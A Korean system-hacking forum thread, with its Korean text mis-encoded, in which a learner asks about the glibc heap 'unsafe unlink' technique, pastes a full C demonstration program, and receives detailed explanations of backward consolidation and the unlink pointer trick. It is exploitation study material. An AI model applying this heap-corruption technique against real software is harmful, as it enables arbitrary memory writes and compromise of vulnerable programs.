½Ã½ºÅÛ ÇØÅ·

 1574, 6/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   vngkv123
   heap¿¡¼­ unsafe unlink°¡ Á¶±Ý ÀÌÇØ°¡ ¾ÈµÇ³×¿ë ¤Ð

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1874 [º¹»ç]


chunk0ÀÇ »çÀÌÁî, Áï chunk1ÀÇ prev_sizeÀÇ °ªÀ» 0x80À¸·Î ÁÙ¿©ÁÖ´Â°Ô ÀÌÇØ°¡ Àß¾ÈµÇ³×¿ë ¤Ð ±×·¡¼­ ±×·±°¡ µÚÂÊ¿¡
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

ÀÌ ¿µ¿ªµµ Àß ÀÌÇØ°¡ ¾ÈµÇ±¸¿ë ¤Ð

printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;

ÀÌ°Ç 0x80À¸·Î ¼³Á¤ÇØÁÖ´Â °Å±¸¿ë...

unlink¸ÞÄ¿´ÏÁò ÀÚü´Â ¾î´ÀÁ¤µµ ÀÌÇØ°¡ µÇ´Âµ¥...
Àú°Å º¸´Ï±î Àß ÀÌÇØ°¡ ¾ÈµÇ³×¿ë ¤Ð¤Ð

±×¸®°í Fake chunk fd: 0x602048
Fake chunk bk: 0x602050
°¡ ÀÌ·¸°í

The global chunk0_ptr is at 0x602060, pointing to 0x2142420
°¡ ÀÌ·¯¸é,

º»·¡ chunk0_ptr¿¡ mallocÀ» ÇßÀ» ½Ã ¸®ÅÏ°ªÀÌ mallocµÈ heapÀÇ userdata¿µ¿ªÀÇ ÁÖ¼ÒÀ̴ϱî...
unlink¸ÅÅ©·Î¿¡¼­ P´Â heapÀÇ ÁÖ¼Ò°¡ µÇ¾ßÇϴ°Š¾Æ´Ñ°¡¿ä?

Á¶±Ý µÚÁ×¹ÚÁ×Àε¥ Âû¶±°°ÀÌ ¾Ë¾Æµé¾îÁÖ¼ËÀ¸¸é ¤Ð_¤Ð....


ÇØ´ç¼Ò½º Àüü´Â ÀÌ·¸½À´Ï´ç.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}



  Hit : 3955     Date : 2017/05/10 01:27



    
ÇØÄð·¯ Àúµµ Áö±Ý À̰ɺ¸¸é¼­ °øºÎÇߴµ¥
glibc-2.25/malloc/malloc.c ÀÇ L4008~L4013¿¡ ÀÖ´Â backward consolidation·çƾÀ» ÀÌ¿ëÇÏ´Â Æ®¸¯À¸·Î º¸À̳׿ä
backward consolidation·çƾÀº ¾î¶² ûũ°¡ ÇÁ¸®µÉ¶§, ÀÎÁ¢ÇÑ ¹Ù·Î ÀÌÀü ûũ°¡ ÇÁ¸®µÅÀÖ´Â »óŶó¸é µÎ°³ ûũ¸¦ º´ÇÕÇØ ´õ Å« ûũ·Î °ü¸®ÇÏ´Â ·çƾÀÔ´Ï´Ù
±×Àü¿¡ L1984ÀÇ do_check_inuse_chunk¿¡¼­ ¸î°¡Áö assertionÀ» ÇÏ°í, ±× ÇÔ¼ö ¾È¿¡¼­ do_check_chunk, do_check_free_chunk ÀÌ·± üũÇÔ¼öµéÀ» Ãß°¡·Î ½ÇÇàÇÕ´Ï´Ù
ÀÌ Äڵ忡¼­ ¸ÂÃß´Â (P->fd->bk != P || P->bk->fd != P) ÀÌ Á¶°ÇÀº unlink¸ÅÅ©·Î¿¡¼­ üũµË´Ï´Ù

chunk1ÀÇ prev_size¸¦ º¯°æÇØ chunk0ÀÇ »çÀÌÁ ¼ÓÀδ٠¶ó´Â°Ô Àç¹Õ´ÂÁ¡Àε¥
backward consolidation Äڵ带 º¸¸é
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
ÀÌ·¸°Ô µÅÀÖ½À´Ï´Ù
±×¸®°í chunk_at_offsetÀº ´Ü¼øÈ÷ µÎ°³ ÀÎÀÚ¸¦ ´õÇÑ°ªÀ» ¸®ÅÏÇÏ´Â ¸ÅÅ©·ÎÇÔ¼öÀÔ´Ï´Ù
±×·¯´Ï±î Èü »ó¿¡¼­ÀÇ ÀÌÀü ûũÀÇ À§Ä¡¸¦ ¸µÅ©µå¸®½ºÆ®·Î¼­ ã´Â°ÍÀÌ ¾Æ´Ñ, ÇöÀçûũ - ÇöÀçûũ°¡ °®°í ÀÖ´Â prev_size == ÀÌÀüûũÀÇ À§Ä¡ ÀÌ·¸°Ô ã´Â°Ì´Ï´Ù
±× ÀÌÀ¯ ¶§¹®¿¡ prev_size¸¦ 0x80À¸·Î ÁÙÀ̴°̴ϴÙ

¿©±â±îÁö°¡ ù¹ø°Áú¹®¿¡ ´ëÇÑ ´äº¯ÀÌ°í

µÎ¹ø¤ŠÁú¹®Àº ¾îµð¼­ Çò°¥¸®¼Ì´ÂÁö ¾Ë°Í °°Àºµ¥
p->fd->bk == p¿¡¼­ p->fd°¡ ¹ÙÀ̳ʸ®ÁÖ¼Ò°í p->fd->bkµµ °á±¹ ¹ÙÀ̳ʸ®¾È¿¡¼­ ¿òÁ÷À̴°ǵ¥ ±× °ªÀÌ ¾î¶»°Ô p°¡ µÇ´ÂÁö ¹°¾îº¸½Å°Í°°½À´Ï´Ù
±Ùµ¥ ¿©±â¼­ ºñ±³ÇÏ´Â °ªÀ» Á» ºÐ¸®Çؼ­ »ý°¢ÇؾßÇϴµ¥
p->fd->bk Çϸé chunk0_ptr Àü¿ªº¯¼ö°ÚÁÒ, ±×¸®°í ±× Æ÷ÀÎÅÍ º¯¼ö¿¡ ´ã±ä °ªÀº chunk0_ptrÀÌ °¡¸£Å°´Â Èü ûũÀÔ´Ï´Ù
±×¸®°í == ÀÇ ¿À¸¥ÂÊÀÇ p°¡ °®´Â °ªµµ chunk0_ptrÀÌ °¡¸£Å°´Â ÈüûũÀÔ´Ï´Ù
Àúµµ óÀ½¿¡ Çò°¥¸° ºÎºÐÀÌ p->fd->bk¸é °á±¹ ¹ÙÀ̳ʸ®ÁּҾƴѰ¡? Çߴµ¥ ±¸Á¶Ã¼°üÁ¡¿¡¼­ ²Ä²ÄÈ÷ »ý°¢Çغ¸½Ã¸é µË´Ï´Ù
2017/05/14  
ÇØÄð·¯ µÎ¹ø°Áú¹®À» Á»´õ ÀÚ¼¼ÇÏ°Ô ¸»¾¸µå¸®¸é

¿ø·¡ chunk1ÀÇ prev_size´Â 0x90À̴ϱî(malloc'd size 0x80 + malloc header 0x10), ÀÌ°É 0x80À¸·Î Çϸé chunk1ÀÇ previous chunkÀÇ ½ÃÀÛÁ¡ÀÌ chunk1ÀÇ ¹æÇâÀ¸·Î 0x10 ´ç°ÜÁý´Ï´Ù
±×¸®°í, chunk1ÀÇ prev_inuse¸¦ 0À¸·Î Çϸé prev chunk°¡ freeµÈ°Íó·³ ¼ÓÀϼö ÀÖÀ¸´Ï
0x10¹ÙÀÌÆ® ´ç°ÜÁø ½ÃÁ¡¿¡¼­ óÀ½ÀÇ chunk0_ptr[2]¿Í chunk0_ptr[3]Àº °¢°¢ p->fd¿Í p->bkÀÔ´Ï´Ù
p->fd°¡ &chunk0_ptr - sizeof(uint64_t)*3 ÀÌ°í
p->bk°¡ &chunk0_ptr - sizeof(uint64_t)*2 ´Ï±î
p->fd->bk ´Â &chunk0_ptr - sizeof(uint64_t)*3 + sizeof(uint64_t)*3ÀÌ µÇ¾î chunk0_ptrÀ» °¡¸£Å°°Ô µÅ p->fd->bk == p¸¦ ¸¸Á·½ÃÅ°°Ô µÇ°í p->bk->fdµµ ¸¶Âù°¡ÁöÀÔ´Ï´Ù

±×¸®°í ½ÇÁ¦ unlink·çƾÀÎ
FD->bk = BK;
BK->fd = FD; ¸¦ ºÐ¼®Çغ¸¸é
p->fd->bk = bk;
p->bk->fd = fd; °¡ µÇ´Ï±î
p´Â ÃÖÁ¾ÀûÀ¸·Î fd, Áï
p = &chunk0_ptr - sizeof(uint64_t)*3 ÀÌ µË´Ï´Ù
±×·¯¸é chunk0_ptrÀÌ ¿ø·¡ ÈüÀ» °¡¸£Ä×¾ú´Âµ¥ &chunk_ptr-sizeof(uint64_t)*3À» °¡¸£Å°°Ô µÇ°í
chunk0_ptr[3] = victim_string Àº chunk0_ptr = victim_string°ú °°¾ÆÁý´Ï´Ù
Áï Àü¿ªº¯¼ö¸¦ ¸¶À½´ë·Î Á¶ÀÛÇÑ°ÅÁÒ
±×·¡¼­ chunk0_ptr¿¡´Â ÀÌÁ¦ victim_stringÀÇ ÁÖ¼Ò°¡ ÀÖÀ¸´Ï
chunk0_ptr[0] = 0x4141414142424242¸¦ ÇÏ°Ô µÇ¸é victim_str¿¡ BBBBAAAA°¡ ½áÁö°Ô µË´Ï´Ù
2017/05/14  
ÇØÄð·¯ Áú¹®±ÛµéÀ» º¸¸é °øºÎ¸¦ ÇϽÅÁö ¾ó¸¶ ¾ÈµÇ½Å°Å°°¾Æ Á¦ ¼³¸íÀÌ ¸¹ÀÌ ¾î·Á¿ì½Ç ¼ö Àִµ¥ ÀÌÇØ°¡ µÉ‹š±îÁö 50¹øÀÌ°í 100¹øÀÌ°í Àо¼¼¿ä 2017/05/14  
ÇØÄð·¯ FD->bk = BK;
BK->fd = FD; ¿¡¼­ ¿Ö °á±¹ p¿¡ fd°¡ ½áÁö³Ä¸é
FD->bk ¿Í BK->fd µÑ´Ù p¸¦ °¡¸£Å°°í Àֱ⿡ µÑ´Ù p¿¡ ¾²´Â ±¸¹®µéÀÌÁö¸¸
FD->bk = BK --> ¿©±â¼­ p¿¡ BK°¡ µé¾î°¡°í
BK->fd = FD --> ¿©±â¼­ p¿¡ FD°¡ µé¾î°¡±â ‹š¹®¿¡ ¸¶Áö¸·À¸·Î µ¤¾î½áÁø FDÀÇ °ªÀÌ ÃÖÁ¾ÀûÀ¸·Î p°¡ µÇ°í,
fdÀÇ °ªÀº &chunk0_ptr - sizeof(uint64_t)*3 ¿´±â ¶§¹®¿¡ ÀÌ °ªÀÌ chunk0_ptrÀÇ °ª¿¡ µé¾î°©´Ï´Ù
2017/05/14  
vngkv123 Á¤¸» °¨»çÇÕ´Ï´Ù ¤Ð 2017/05/14  
vngkv123 ±¸Á¶Ã¼ Á¢±Ù¿¡¼­ °³³äÀÌ ¸¹ÀÌ ºó¾àÇß³×¿ä ¤Ð 2017/05/14  
1474   uaf Ãë¾àÁ¡ ,¸Þ¸ð¸® ¸¯ °ü·Ã ¹®Á¦[2]     pkdo1030
07/15 2423
1473   r0pbabay ¸¦ Ǫ´Âµ¥....[1]     ewqqw
07/07 1935
1472   ½Ã½ºÅÛ ÇØÅ·°­Á 21°­ºÎÅÍ ÀÚ·á ºÎŹµå·Áµµ µÉ±î¿ä?     sexissports
06/23 2398
1471   c¾ð¾î ÇÔ¼ö Á¤ÀÇÁß¿¡...     vngkv123
06/20 2107
1470   checksec, ELF±â´É, ±×¿Ü Áú¹®....     vngkv123
06/14 2239
1469   pwnable°ú ½ÇÀü ½Ã½ºÅÛ ÇØÅ·ÀÇ Â÷ÀÌ[2]     choboKing
06/11 4366
1468   ret2kernel32? (À©µµ¿ì ret2libc)[3]     choboKing
06/11 2135
1467   ulimit -f °ü·ÃÇÏ¿© Áú¹®µå·Áº¾´Ï´ç     vngkv123
06/01 2062
1466   ½©Äڵ带 ÀÌ¿ëÇؼ­ bof ¸¦ ÇÒ¶§[4]     tkakr7458
05/22 2554
1465   unlink¸ÅÅ©·Î¿¡¼­ P....[5]     vngkv123
05/12 2228
  heap¿¡¼­ unsafe unlink°¡ Á¶±Ý ÀÌÇØ°¡ ¾ÈµÇ³×¿ë ¤Ð[6]     vngkv123
05/10 3954
1463   heap¿¡¼­ bin°ü·Ã[3]     vngkv123
04/30 2384
1462   codegate nuclear¹®Á¦ Áß libc leakÁú¹®..[3]     vngkv123
04/27 3046
1461   fgetsÇÔ¼ö¸¦ ÀÌ¿ëÇÑ ¹öÆÛ¿À¹öÇ÷ο젠   ewqqw
04/23 3792
1460   format string ¹öÆÛ¿À¹öÇ÷ο젠   ewqqw
04/22 2065
1459   angry_doraemon°°Àº ¹®Á¦ ·ÎÄõî·Ï..     vngkv123
04/22 2449
1458   ¹öÆÛ¿À¹öÇÃ·Î¿ì °ü·Ã[1]     ewqqw
04/21 2195
1457   ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ü·Ã[2]     ewqqw
04/20 2136
1456   format string bug + got overwite[3]     tkakr7458
04/19 2378
1455   python z3....[2]     vngkv123
04/19 3030
[1][2][3][4][5] 6 [7][8][9][10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org